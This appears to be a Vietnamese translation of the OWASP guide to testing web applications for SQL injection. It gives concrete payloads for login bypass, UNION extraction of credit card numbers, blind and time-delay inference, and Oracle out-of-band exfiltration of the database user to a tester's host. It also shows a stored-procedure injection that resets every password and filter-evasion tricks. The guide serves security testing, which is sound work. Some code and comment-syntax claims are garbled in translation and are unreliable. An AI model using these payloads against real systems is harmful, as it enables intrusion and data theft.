5/5 - (1 bình chọn)

Kiểm tra SQL injection là kiểm tra xem có thể đưa dữ liệu vào ứng dụng để ứng dụng thực thi truy vấn SQL do người dùng kiểm soát trong cơ sở dữ liệu hay không. Người kiểm tra tìm thấy lỗ hổng SQL injection nếu ứng dụng sử dụng đầu vào của người dùng để tạo truy vấn SQL mà không có xác thực đầu vào thích hợp. Việc khai thác thành công lớp lỗ hổng này cho phép người dùng trái phép truy cập hoặc thao tác dữ liệu trong cơ sở dữ liệu.

Các bài viết liên quan:

Một cuộc tấn công injection vào SQL bao gồm việc chèn hoặc “đưa vào” một truy vấn SQL một phần hoặc toàn bộ thông qua đầu vào dữ liệu hoặc được truyền từ máy khách (trình duyệt) đến ứng dụng web. Một cuộc tấn công SQL injection thành công có thể đọc dữ liệu nhạy cảm từ cơ sở dữ liệu, sửa đổi dữ liệu cơ sở dữ liệu (chèn / cập nhật / xóa), thực hiện các hoạt động quản trị trên cơ sở dữ liệu (chẳng hạn như tắt DBMS), khôi phục nội dung của một tệp nhất định hiện có trên tệp DBMS hệ thống hoặc ghi tệp vào hệ thống tệp, và trong một số trường hợp, đưa ra lệnh cho hệ điều hành. Tấn công SQL injection là một kiểu tấn công tiêm, trong đó các lệnh SQL được đưa vào đầu vào mặt phẳng dữ liệu để ảnh hưởng đến việc thực thi các lệnh SQL được xác định trước.

Nói chung, cách các ứng dụng web xây dựng các câu lệnh SQL liên quan đến cú pháp SQL do người lập trình viết được trộn lẫn với dữ liệu do người dùng cung cấp. Ví dụ:

select title, text from news where id=$id

Trong ví dụ trên, biến $ id chứa dữ liệu do người dùng cung cấp, trong khi phần còn lại là phần tĩnh SQL do người lập trình cung cấp; làm cho câu lệnh SQL động.

Bởi vì cách nó được xây dựng, người dùng có thể cung cấp đầu vào được tạo thủ công để cố gắng làm cho câu lệnh SQL ban đầu thực thi các hành động khác mà người dùng lựa chọn. Ví dụ bên dưới minh họa dữ liệu do người dùng cung cấp “10 hoặc 1 = 1”, thay đổi logic của câu lệnh SQL, sửa đổi mệnh đề WHERE thêm điều kiện “hoặc 1 = 1”.

select title, text from news where id=10 or 1=1

Các cuộc tấn công SQL Injection có thể được chia thành ba lớp sau:

Inband: dữ liệu được trích xuất bằng cùng một kênh được sử dụng để chèn mã SQL. Đây là kiểu tấn công đơn giản nhất, trong đó dữ liệu truy xuất được hiển thị trực tiếp trong trang web ứng dụng.

Out-of-band: dữ liệu được truy xuất bằng một kênh khác (ví dụ: email có kết quả của truy vấn được tạo và gửi đến người thử nghiệm).

Inferential hoặc Blind: không có truyền dữ liệu thực tế, nhưng người kiểm tra có thể xây dựng lại thông tin bằng cách gửi các yêu cầu cụ thể và quan sát hành vi kết quả của Máy chủ DB.

Một cuộc tấn công SQL Injection thành công yêu cầu kẻ tấn công tạo ra một Truy vấn SQL chính xác về mặt cú pháp. Nếu ứng dụng trả về một thông báo lỗi được tạo bởi một truy vấn không chính xác, thì kẻ tấn công có thể dễ dàng hơn trong việc xây dựng lại logic của truy vấn ban đầu và do đó, hiểu được cách thực hiện việc chèn một cách chính xác. Tuy nhiên, nếu ứng dụng ẩn chi tiết lỗi, thì người kiểm tra phải có khả năng thiết kế ngược logic của truy vấn ban đầu.

Xem thêm Kiểm tra lỗ hổng bảo mật SQL injection Client-side

Về các kỹ thuật khai thác lỗ hổng SQL injection, có năm kỹ thuật commons. Ngoài ra, những kỹ thuật này đôi khi có thể được sử dụng theo cách kết hợp (ví dụ: toán tử liên hợp và ngoài băng tần):

5 kỹ thuật SQL injection chung

  1. Toán tử Union: có thể được sử dụng khi lỗi SQL injection xảy ra trong câu lệnh SELECT, giúp kết hợp hai truy vấn thành một kết quả hoặc tập kết quả duy nhất.
  1. Boolean: sử dụng (các) điều kiện Boolean để xác minh xem một số điều kiện là đúng hay sai.
  1. Error based: kỹ thuật này buộc cơ sở dữ liệu tạo ra lỗi, cung cấp cho kẻ tấn công hoặc người kiểm tra thông tin để tinh chỉnh việc đưa vào của chúng.
  1. Out-of-band: kỹ thuật được sử dụng để truy xuất dữ liệu bằng một kênh khác (ví dụ: tạo kết nối HTTP để gửi kết quả đến máy chủ web).
  1. Time delay: sử dụng các lệnh cơ sở dữ liệu (ví dụ: ngủ) để trì hoãn câu trả lời trong các truy vấn có điều kiện. Nó hữu ích khi kẻ tấn công không có một số loại câu trả lời (kết quả, đầu ra hoặc lỗi) từ ứng dụng.

Mục tiêu kiểm tra

Kiểm tra SQL Injection cho phép người kiểm tra xác định và khai thác các vấn đề liên quan đến đầu vào truy vấn trong đó các phương pháp bảo mật không được triển khai đúng cách.

Xem thêm Kiểm tra lỗ hổng bảo mật SQL injection trong SQL Server

Làm thế nào để kiểm tra

Kỹ thuật phát hiện

Bước đầu tiên trong bài kiểm tra này là hiểu khi nào ứng dụng tương tác với Máy chủ DB để truy cập một số dữ liệu. Ví dụ điển hình về các trường hợp khi ứng dụng cần giao tiếp với DB bao gồm:

Biểu mẫu xác thực: khi xác thực được thực hiện bằng biểu mẫu web, rất có thể thông tin đăng nhập của người dùng được kiểm tra dựa trên cơ sở dữ liệu có chứa tất cả tên người dùng và mật khẩu (hoặc tốt hơn là băm mật khẩu).

Công cụ tìm kiếm: chuỗi do người dùng gửi có thể được sử dụng trong truy vấn SQL trích xuất tất cả các bản ghi có liên quan từ cơ sở dữ liệu.

Các trang web Thương mại Điện tử: các sản phẩm và đặc điểm của chúng (giá cả, mô tả, tính khả dụng, v.v.) rất có thể được lưu trữ trong cơ sở dữ liệu.

Người kiểm tra phải tạo danh sách tất cả các trường đầu vào có giá trị có thể được sử dụng để tạo truy vấn SQL, bao gồm các trường ẩn của yêu cầu POST và sau đó kiểm tra chúng một cách riêng biệt, cố gắng can thiệp vào truy vấn và để tạo ra một lỗi. Cũng xem xét các tiêu đề HTTP và Cookie.

Bài kiểm tra đầu tiên thường bao gồm thêm một câu trích dẫn đơn ‘hoặc một dấu chấm phẩy; đến trường hoặc tham số đang kiểm tra. Đầu tiên được sử dụng trong SQL như một dấu chấm dứt chuỗi và, nếu không được ứng dụng lọc, sẽ dẫn đến một truy vấn không chính xác. Câu thứ hai được sử dụng để kết thúc một câu lệnh SQL và nếu nó không được lọc, nó cũng có khả năng tạo ra lỗi. Đầu ra của trường dễ bị tấn công có thể giống như sau (trong trường hợp này là trên Microsoft SQL Server):

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string ''.
/target/target.asp, line 113

Ngoài ra, các dấu phân cách nhận xét (- hoặc / * * /, v.v.) và các từ khóa SQL khác như ‘AND’ và ‘OR’ có thể được sử dụng để cố gắng sửa đổi truy vấn. Một kỹ thuật rất đơn giản nhưng đôi khi vẫn hiệu quả là chỉ cần chèn một chuỗi vào đó một số được mong đợi, vì có thể xảy ra lỗi như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'test' to a column of data type int.
/target/target.asp, line 113

Theo dõi tất cả các phản hồi từ máy chủ web và xem mã nguồn HTML / javascript. Đôi khi lỗi xuất hiện bên trong chúng nhưng vì một số lý do (ví dụ: lỗi javascript, nhận xét HTML, v.v.) không được hiển thị cho người dùng. Một thông báo lỗi đầy đủ, giống như trong các ví dụ, cung cấp nhiều thông tin cho người thử nghiệm để thực hiện một cuộc tấn công tiêm thành công. Tuy nhiên, các ứng dụng thường không cung cấp quá nhiều chi tiết: một ‘Lỗi máy chủ 500’ đơn giản hoặc một trang lỗi tùy chỉnh có thể được đưa ra, có nghĩa là chúng ta cần sử dụng kỹ thuật tiêm mù. Trong mọi trường hợp, điều rất quan trọng là phải kiểm tra từng trường riêng biệt: chỉ một biến phải thay đổi trong khi tất cả các biến khác không đổi, để hiểu chính xác tham số nào dễ bị tấn công và tham số nào không.

Xem thêm Kiểm tra lỗ hổng bảo mật SQL injection cho MS Access

Kiểm tra SQL injection tiêu chuẩn

SQL injection cổ điển

Hãy xem xét truy vấn SQL sau:

SELECT * FROM Users WHERE Username='$username' AND Password='$password'

Một truy vấn tương tự thường được sử dụng từ ứng dụng web để xác thực người dùng. Nếu truy vấn trả về một giá trị, điều đó có nghĩa là bên trong cơ sở dữ liệu có người dùng với tập hợp thông tin đăng nhập đó, thì người dùng được phép đăng nhập vào hệ thống, nếu không thì quyền truy cập sẽ bị từ chối. Giá trị của các trường đầu vào thường được lấy từ người dùng thông qua biểu mẫu web. Giả sử chúng ta chèn các giá trị Tên người dùng và Mật khẩu sau:

  • $username = 1' or '1' = '1
  • $password = 1' or '1' = '1

Truy vấn sẽ là:

SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1'

Nếu chúng tôi giả sử rằng giá trị của các tham số được gửi đến máy chủ thông qua phương thức GET và nếu miền của trang web dễ bị tấn công là www.example.com, thì yêu cầu mà chúng tôi thực hiện sẽ là:

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20 ' 1

Sau một phân tích ngắn, chúng tôi nhận thấy rằng truy vấn trả về một giá trị (hoặc một tập giá trị) vì điều kiện luôn đúng (OR 1 = 1). Bằng cách này, hệ thống đã xác thực người dùng mà không cần biết tên người dùng và mật khẩu.

Trong một số hệ thống, hàng đầu tiên của bảng người dùng sẽ là người dùng quản trị viên. Đây có thể là hồ sơ được trả lại trong một số trường hợp.

Một ví dụ khác về truy vấn như sau:

SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password')))

Trong trường hợp này, có hai vấn đề, một do sử dụng dấu ngoặc đơn và một do sử dụng hàm băm MD5. Trước hết, chúng tôi giải quyết vấn đề của dấu ngoặc đơn. Điều đó chỉ đơn giản là thêm một số dấu đóng ngoặc đơn cho đến khi chúng tôi có được một truy vấn đã sửa. Để giải quyết vấn đề thứ hai, chúng tôi cố gắng tránh điều kiện thứ hai. Chúng tôi thêm vào truy vấn của mình một ký hiệu cuối cùng có nghĩa là một nhận xét đang bắt đầu. Theo cách này, mọi thứ theo sau biểu tượng như vậy được coi là một nhận xét. Mỗi DBMS đều có cú pháp riêng cho các chú thích, tuy nhiên, một ký hiệu chung cho phần lớn các cơ sở dữ liệu là *. Trong Oracle, ký hiệu là -. Điều này cho thấy, các giá trị mà chúng tôi sẽ sử dụng làm Tên người dùng và Mật khẩu là:

  • $username = 1' or '1' = '1'))/*
  • $password = foo

Bằng cách này, chúng tôi sẽ nhận được truy vấn sau:

SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password')))

(Do bao gồm dấu phân cách nhận xét trong giá trị tên người dùng $, phần mật khẩu của truy vấn sẽ bị bỏ qua.)

Yêu cầu URL sẽ là:

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo

Điều này có thể trả về một số giá trị. Đôi khi, mã xác thực xác minh rằng số lượng bản ghi / kết quả trả về chính xác bằng 1. Trong các ví dụ trước, tình huống này sẽ khó xảy ra (trong cơ sở dữ liệu chỉ có một giá trị cho mỗi người dùng). Để giải quyết vấn đề này, chỉ cần chèn một lệnh SQL

áp đặt một điều kiện rằng số lượng kết quả trả về phải là một. (Một bản ghi được trả về) Để đạt được mục tiêu này, chúng tôi sử dụng toán tử LIMIT <num>, trong đó <num> là số lượng kết quả / bản ghi mà chúng ta muốn được trả về. Đối với ví dụ trước, giá trị của các trường Tên người dùng và Mật khẩu sẽ được sửa đổi như sau:

  • $username = 1' or '1' = '1')) LIMIT 1/*
  • $password = foo

Bằng cách này, chúng tôi tạo một yêu cầu như sau:

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&amp;password=foo

SELECT Statement

Hãy xem xét truy vấn SQL sau:

SELECT * FROM products WHERE id_product=$id_product

Cũng xem xét yêu cầu đối với một tập lệnh thực thi truy vấn ở trên:

http://www.example.com/product.php?id=10

Khi người thử nghiệm thử một giá trị hợp lệ (ví dụ: 10 trong trường hợp này), ứng dụng sẽ trả về mô tả của sản phẩm. Một cách tốt để kiểm tra xem ứng dụng có dễ bị tấn công trong trường hợp này hay không là chơi với logic, sử dụng các toán tử AND và OR.

Xem xét yêu cầu:

http://www.example.com/product.php?id=10 AND 1=2
SELECT * FROM products WHERE id_product=10 AND 1=2

Trong trường hợp này, có thể ứng dụng sẽ trả về một số thông báo cho chúng tôi biết không có nội dung nào có sẵn hoặc một trang trống. Sau đó, người thử nghiệm có thể gửi một câu lệnh true và kiểm tra xem có kết quả hợp lệ hay không:

http://www.example.com/product.php?id=10 AND 1=1

Stacked Queries

Tùy thuộc vào API mà ứng dụng web đang sử dụng và DBMS (ví dụ: PHP + PostgreSQL, ASP + SQL SERVER), có thể thực thi nhiều truy vấn trong một lệnh gọi.

Hãy xem xét truy vấn SQL sau:

SELECT * FROM products WHERE id_product=$id_product

Một cách để khai thác kịch bản trên sẽ là:

http://www.example.com/product.php?id=10; INSERT INTO users (…)

Cách này có thể thực hiện nhiều truy vấn liên tiếp và không phụ thuộc vào truy vấn đầu tiên.

Fingerprinting cơ sở dữ liệu

Mặc dù ngôn ngữ SQL là một tiêu chuẩn, mọi DBMS đều có tính đặc thù và khác nhau ở nhiều khía cạnh như các lệnh đặc biệt, các hàm để truy xuất dữ liệu như tên người dùng và cơ sở dữ liệu, tính năng, dòng chú thích, v.v.

Khi người kiểm tra chuyển sang khai thác SQL injection nâng cao hơn, họ cần biết cơ sở dữ liệu back end là gì.

Errors Returned từ ứng dụng

Cách đầu tiên để tìm ra cơ sở dữ liệu back end nào được sử dụng là quan sát lỗi do ứng dụng trả về. Sau đây là một số ví dụ về thông báo lỗi:

MySql:

You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near '\'' at line 1

Một UNION SELECT hoàn chỉnh với phiên bản () cũng có thể giúp biết cơ sở dữ liệu phía sau.

SELECT id, name FROM users WHERE id=1 UNION SELECT 1, version() limit 1,1

  • Oracle:
ORA-00933: SQL command not properly ended
  • MS SQL Server:
Microsoft SQL Native Client error ‘80040e14’
Unclosed quotation mark after the character string
ELECT id, name FROM users WHERE id=1 UNION SELECT 1, @@version limit 1, 1

PostgreSQL:

Query failed: ERROR: syntax error at or near
"’" at character 56 in /www/site/test.php on line 121.

Nếu không có thông báo lỗi hoặc thông báo lỗi tùy chỉnh, người kiểm tra có thể thử đưa vào các trường chuỗi bằng cách sử dụng các kỹ thuật nối khác nhau:

Kỹ thuật Exploitation

Exploitation sử dụng UNION

Toán tử UNION được sử dụng trong SQL injection để tham gia một truy vấn, được người thử nghiệm cố tình giả mạo, với truy vấn ban đầu. Kết quả của truy vấn giả mạo sẽ được nối với kết quả của truy vấn ban đầu, cho phép người kiểm tra lấy giá trị của các cột của các bảng khác. Giả sử đối với các ví dụ của chúng tôi rằng truy vấn được thực thi từ máy chủ như sau:

SELECT Name, Phone, Address FROM Users WHERE Id=$id

Chúng tôi sẽ đặt giá trị $ id sau:

$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

Chúng tôi sẽ có truy vấn sau:

SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

Điều này sẽ kết hợp kết quả của truy vấn ban đầu với tất cả các số thẻ tín dụng trong bảng CreditCardTable. Từ khóa ALL là cần thiết để giải quyết các truy vấn sử dụng từ khóa DISTINCT. Hơn nữa, chúng tôi nhận thấy rằng ngoài số thẻ tín dụng, chúng tôi đã chọn hai giá trị khác. Hai giá trị này là cần thiết vì hai truy vấn phải có số lượng tham số / cột bằng nhau để tránh lỗi cú pháp.

Chi tiết đầu tiên mà người kiểm tra cần để khai thác lỗ hổng SQL injection bằng cách sử dụng kỹ thuật này là tìm đúng số cột trong câu lệnh SELECT.

Để đạt được điều này, người kiểm tra có thể sử dụng mệnh đề ORDER BY theo sau là một số cho biết số cột của cơ sở dữ liệu được chọn:

http://www.example.com/product.php?id=10 ORDER BY 10--

Nếu truy vấn thực thi thành công mà người kiểm tra có thể giả định, trong ví dụ này, có 10 cột trở lên trong câu lệnh SELECT. Nếu truy vấn không thành công thì truy vấn phải có ít hơn 10 cột trả về. Nếu có một thông báo lỗi, nó có thể là:

Unknown column '10' in 'order clause'

Sau khi người kiểm tra tìm ra số lượng cột, bước tiếp theo là tìm ra loại cột. Giả sử có 3 cột trong ví dụ trên, người kiểm tra có thể thử từng loại cột, sử dụng giá trị NULL để giúp họ:

http://www.example.com/product.php?id=10 UNION SELECT 1, null, null--

Nếu truy vấn không thành công, người kiểm tra có thể sẽ thấy một thông báo như:

All cells in a column must have the same datatype

Nếu truy vấn thực thi thành công, cột đầu tiên có thể là một số nguyên. Sau đó, người thử nghiệm có thể tiến xa hơn, v.v.

http://www.example.com/product.php?id=10 UNION SELECT 1,1, null--

Sau khi thu thập thông tin thành công, tùy thuộc vào ứng dụng, nó có thể chỉ hiển thị cho người thử nghiệm kết quả đầu tiên, vì ứng dụng chỉ xử lý dòng đầu tiên của tập kết quả. Trong trường hợp này, có thể sử dụng mệnh đề LIMIT hoặc người kiểm tra có thể đặt giá trị không hợp lệ, chỉ làm cho truy vấn thứ hai hợp lệ (giả sử không có mục nhập nào trong cơ sở dữ liệu có ID là 99999):

http://www.example.com/product.php?id=99999 UNION SELECT 1,1, null--

Kỹ thuật khai thác Boolean

Kỹ thuật khai thác Boolean rất hữu ích khi người kiểm tra tìm thấy tình huống Blind SQL Injection, trong đó không có gì được biết về kết quả của một toán tử. Ví dụ: hành vi này xảy ra trong trường hợp lập trình viên đã tạo trang lỗi tùy chỉnh không tiết lộ bất kỳ điều gì trên cấu trúc của truy vấn hoặc trên cơ sở dữ liệu. (Trang không trả về lỗi SQL, nó có thể chỉ trả về HTTP 500, 404 hoặc chuyển hướng).

Bằng cách sử dụng các phương pháp suy luận, có thể tránh được trở ngại này và do đó thành công trong việc khôi phục các giá trị của một số trường mong muốn. Phương pháp này bao gồm thực hiện một loạt các truy vấn boolean đối với máy chủ, quan sát các câu trả lời và cuối cùng suy ra ý nghĩa của các câu trả lời đó. Như mọi khi, chúng tôi coi miền www.example.com và chúng tôi cho rằng nó chứa một tham số có tên id dễ bị tấn công bởi SQL injection. Điều này có nghĩa là thực hiện yêu cầu sau:

http://www.example.com/index.php?id=1 '

Chúng tôi sẽ nhận được một trang có lỗi thông báo tùy chỉnh do lỗi cú pháp trong truy vấn. Chúng tôi giả sử rằng truy vấn được thực thi trên máy chủ là:

SELECT field1, field2, field3 FROM Users WHERE Id='$Id'

Có thể khai thác thông qua các phương pháp đã thấy trước đây. Những gì chúng tôi muốn lấy là các giá trị của trường tên người dùng. Các bài kiểm tra mà chúng tôi sẽ thực hiện sẽ cho phép chúng tôi lấy giá trị của trường tên người dùng, trích xuất ký tự giá trị đó theo từng ký tự. Điều này có thể thực hiện được thông qua việc sử dụng một số hàm tiêu chuẩn, hiện diện trong thực tế mọi cơ sở dữ liệu. Đối với các ví dụ của chúng tôi, chúng tôi sẽ sử dụng các hàm giả sau:

  • SUBSTRING (văn bản, bắt đầu, độ dài): trả về một chuỗi con bắt đầu từ vị trí “bắt đầu” của văn bản và có độ dài là “độ dài”. Nếu “start” lớn hơn độ dài của văn bản, hàm trả về giá trị null.
  • ASCII (char): nó trả về giá trị ASCII của ký tự đầu vào. Giá trị null được trả về nếu char là 0.
  • LENGTH (văn bản): nó trả về số ký tự trong văn bản đầu vào.

Thông qua các hàm như vậy, chúng tôi sẽ thực hiện các bài kiểm tra của mình trên ký tự đầu tiên và khi chúng tôi đã phát hiện ra giá trị, chúng tôi sẽ chuyển sang ký tự thứ hai, v.v., cho đến khi chúng tôi phát hiện ra toàn bộ giá trị. Các bài kiểm tra sẽ tận dụng chức năng SUBSTRING, để chỉ chọn một ký tự tại một thời điểm (chọn một ký tự duy nhất có nghĩa là áp đặt tham số độ dài thành 1) và hàm ASCII, để lấy giá trị ASCII, để chúng ta có thể so sánh số. Kết quả của phép so sánh sẽ được thực hiện với tất cả các giá trị của bảng ASCII, cho đến khi tìm được giá trị phù hợp. Ví dụ, chúng tôi sẽ sử dụng giá trị sau cho Id:

$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1

Điều đó tạo ra truy vấn sau (từ bây giờ, chúng tôi sẽ gọi nó là “truy vấn suy luận”):

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'

Ví dụ trước trả về kết quả nếu và chỉ khi ký tự đầu tiên của tên người dùng trường bằng giá trị ASCII 97. Nếu chúng tôi nhận được giá trị sai, thì chúng tôi tăng chỉ số của bảng ASCII từ 97 lên 98 và chúng tôi lặp lại yêu cầu . Nếu thay vào đó, chúng tôi nhận được giá trị true, chúng tôi đặt chỉ mục của bảng ASCII bằng 0 và chúng tôi phân tích ký tự tiếp theo, sửa đổi các tham số của hàm SUBSTRING. Vấn đề là phải hiểu theo cách nào chúng ta có thể phân biệt các bài kiểm tra trả về giá trị true và các bài kiểm tra trả về giá trị false. Để làm điều này, chúng tôi tạo một truy vấn luôn trả về false. Điều này có thể thực hiện được bằng cách sử dụng giá trị sau cho Id:

$Id=1' AND '1' = '2

Điều này sẽ tạo ra truy vấn sau:

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'

Phản hồi thu được từ máy chủ (đó là mã HTML) sẽ là giá trị sai cho các thử nghiệm của chúng tôi. Điều này là đủ để xác minh xem giá trị

e thu được từ việc thực hiện truy vấn suy diễn bằng giá trị thu được với thử nghiệm được thực hiện trước đó. Đôi khi, phương pháp này không hoạt động. Nếu máy chủ trả về hai trang khác nhau là kết quả của hai yêu cầu web liên tiếp giống nhau, chúng tôi sẽ không thể phân biệt giá trị true với giá trị false. Trong những trường hợp cụ thể này, cần phải sử dụng các bộ lọc cụ thể cho phép chúng tôi loại bỏ mã thay đổi giữa hai yêu cầu và để lấy mẫu. Sau đó, đối với mỗi yêu cầu suy luận được thực thi, chúng tôi sẽ trích xuất mẫu tương đối từ phản hồi bằng cách sử dụng cùng một chức năng và chúng tôi sẽ thực hiện kiểm soát giữa hai mẫu để quyết định kết quả của thử nghiệm.

Trong cuộc thảo luận trước, chúng ta chưa giải quyết vấn đề xác định điều kiện kết thúc cho các thử nghiệm ngoài, tức là khi nào chúng ta nên kết thúc quy trình suy luận. Một kỹ thuật để làm điều này sử dụng một đặc tính của hàm SUBSTRING và hàm LENGTH. Khi kiểm tra so sánh ký tự hiện tại với mã ASCII 0 (tức là giá trị null) và kiểm tra trả về giá trị true, thì hoặc chúng ta đã thực hiện xong thủ tục suy luận (chúng ta đã quét toàn bộ chuỗi) hoặc giá trị chúng ta có được phân tích chứa ký tự null.

Chúng tôi sẽ chèn giá trị sau cho Id trường:

$Id=1' AND LENGTH(username)=N AND '1' = '1

Trong đó N là số ký tự mà chúng tôi đã phân tích cho đến nay (không tính giá trị null). Truy vấn sẽ là:

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'

Truy vấn trả về true hoặc false. Nếu chúng ta nhận được true, thì chúng ta đã hoàn thành suy luận và do đó, chúng ta biết giá trị của tham số. Nếu chúng ta nhận được false, điều này có nghĩa là ký tự null có trong giá trị của tham số và chúng ta phải tiếp tục phân tích tham số tiếp theo cho đến khi chúng ta tìm thấy một giá trị null khác.

Cuộc tấn công SQL injection mù cần một khối lượng truy vấn lớn. Người kiểm tra có thể cần một công cụ tự động để khai thác lỗ hổng.

Kỹ thuật khai thác dựa trên lỗi

Kỹ thuật khai thác dựa trên lỗi rất hữu ích khi người kiểm tra vì lý do nào đó không thể khai thác lỗ hổng SQL injection bằng kỹ thuật khác, chẳng hạn như UNION. Kỹ thuật dựa trên lỗi bao gồm việc buộc cơ sở dữ liệu thực hiện một số hoạt động trong đó kết quả sẽ là lỗi. Vấn đề ở đây là cố gắng trích xuất một số dữ liệu từ cơ sở dữ liệu và hiển thị nó trong thông báo lỗi. Kỹ thuật khai thác này có thể khác với DBMS đến DBMS (kiểm tra phần cụ thể của DBMS).

Hãy xem xét truy vấn SQL sau:

SELECT * FROM products WHERE id_product=$id_product

Cũng xem xét yêu cầu đối với một tập lệnh thực thi truy vấn ở trên:

http://www.example.com/product.php?id=10

Yêu cầu độc hại sẽ là (ví dụ: Oracle 10g):

http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--

Trong ví dụ này, người thử nghiệm đang nối giá trị 10 với kết quả của hàm UTL_INADDR.GET_HOST_NAME. Hàm Oracle này sẽ cố gắng trả về tên máy chủ của tham số được truyền cho nó, là một truy vấn khác, tên của người dùng. Khi cơ sở dữ liệu tìm kiếm tên máy chủ với tên cơ sở dữ liệu người dùng, nó sẽ không thành công và trả về thông báo lỗi như:

ORA-292257: host SCOTT unknown

Sau đó, người kiểm tra có thể thao tác với tham số được truyền cho hàm GET_HOST_NAME () và kết quả sẽ được hiển thị trong thông báo lỗi.

Kỹ thuật khai thác Out-of-band

Kỹ thuật này rất hữu ích khi người kiểm tra tìm thấy tình huống Blind SQL Injection, trong đó không có gì được biết về kết quả của một hoạt động. Kỹ thuật này bao gồm việc sử dụng các chức năng DBMS để thực hiện kết nối ngoài băng tần và cung cấp kết quả của truy vấn được đưa vào như một phần của yêu cầu tới máy chủ của người thử nghiệm. Giống như các kỹ thuật dựa trên lỗi, mỗi DBMS có các chức năng riêng của nó. Kiểm tra phần DBMS cụ thể.

Hãy xem xét truy vấn SQL sau:

SELECT * FROM products WHERE id_product=$id_product

Cũng xem xét yêu cầu đối với một tập lệnh thực thi truy vấn ở trên:

http://www.example.com/product.php?id=10

Yêu cầu độc hại sẽ là:

http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELECT user FROM DUAL) -

Trong ví dụ này, người kiểm tra đang nối giá trị 10 với kết quả của hàm UTL_HTTP.request. Hàm Oracle này sẽ cố gắng kết nối với testerserver và thực hiện một yêu cầu HTTP GET chứa trả về từ truy vấn CHỌN người dùng TỪ KÉP. Người kiểm tra có thể thiết lập máy chủ web (ví dụ: Apache) hoặc sử dụng công cụ Netcat:

/home/tester/nc –nLp 80

GET /SCOTT HTTP/1.1
Host: testerserver.com
Connection: close

Kỹ thuật khai thác time delay

Kỹ thuật khai thác độ trễ thời gian rất hữu ích khi người kiểm tra tìm thấy tình huống Blind SQL Injection, trong đó không có gì được biết về kết quả của một hoạt động. Kỹ thuật này bao gồm việc gửi một truy vấn được đưa vào và trong trường hợp điều kiện là đúng, người kiểm tra có thể theo dõi thời gian cần thiết để máy chủ phản hồi. Nếu t

ở đây là độ trễ, người kiểm tra có thể cho rằng kết quả của truy vấn có điều kiện là đúng. Kỹ thuật khai thác này có thể khác với DBMS đến DBMS (kiểm tra phần cụ thể của DBMS).

Hãy xem xét truy vấn SQL sau:

SELECT * FROM products WHERE id_product=$id_product

Cũng xem xét yêu cầu đối với một tập lệnh thực thi truy vấn ở trên:

http://www.example.com/product.php?id=10

Yêu cầu độc hại sẽ là (ví dụ: MySql 5.x):

http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--

Trong ví dụ này, người thử nghiệm đang kiểm tra xem phiên bản MySql có phải là 5.x hay không, khiến máy chủ trì hoãn câu trả lời 10 giây. Người thử nghiệm có thể tăng thời gian trễ và theo dõi các phản hồi. Người thử nghiệm cũng không cần đợi phản hồi. Đôi khi anh ta có thể đặt giá trị rất cao (ví dụ: 100) và hủy yêu cầu sau vài giây.

Tiêm Stored Procedure

Khi sử dụng SQL động trong một quy trình được lưu trữ, ứng dụng phải làm sạch đúng cách đầu vào của người dùng để loại bỏ nguy cơ chèn mã. Nếu không được làm sạch, người dùng có thể nhập SQL độc hại sẽ được thực thi trong quy trình được lưu trữ.

Hãy xem xét thủ tục lưu trữ SQL Server sau:

Create procedure user_login @username varchar(20), @passwd varchar(20)
As
Declare @sqlstring varchar(250)
Set @sqlstring  = '
Select 1 from users
Where username = ' + @username + ' and passwd = ' + @passwd
exec(@sqlstring)
Go

Đầu vào của người dùng:

anyusername or 1=1'
anypassword

Quy trình này không làm sạch đầu vào, do đó cho phép giá trị trả về hiển thị một bản ghi hiện có với các tham số này.

Ví dụ này có vẻ khó xảy ra do việc sử dụng SQL động để đăng nhập người dùng, nhưng hãy xem xét một truy vấn báo cáo động trong đó người dùng chọn các cột để xem. Người dùng có thể chèn mã độc hại vào trường hợp này và xâm phạm dữ liệu.

Hãy xem xét thủ tục lưu trữ SQL Server sau:

Create
procedure get_report @columnamelist varchar(7900)
As
Declare @sqlstring varchar(8000)
Set @sqlstring  = '
Select ' + @columnamelist + ' from ReportTable'
exec(@sqlstring)
Go

Đầu vào của người dùng:

1 from users; update users set password = 'password'; select *

Điều này sẽ dẫn đến việc chạy báo cáo và tất cả mật khẩu của người dùng được cập nhật.

Khai thác tự động

Hầu hết các tình huống và kỹ thuật được trình bày ở đây có thể được thực hiện theo cách tự động bằng cách sử dụng một số công cụ. Trong bài viết này, người kiểm tra có thể tìm thấy thông tin về cách thực hiện kiểm tra tự động bằng SQLMap

Kỹ thuật tránh SQL Injection Signature

Các kỹ thuật được sử dụng để vượt qua các biện pháp phòng thủ như tường lửa ứng dụng Web (WAF) hoặc hệ thống ngăn chặn xâm nhập (IPS). Cũng tham khảo https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF

  1. White Space

Việc giảm dung lượng hoặc thêm dấu cách sẽ không ảnh hưởng đến câu lệnh SQL. Ví dụ

or 'a'='a'

or 'a'  =    'a'

Việc thêm ký tự đặc biệt như dòng hoặc tab mới sẽ không thay đổi việc thực thi câu lệnh SQL. Ví dụ,

hoặc

or
'a'=
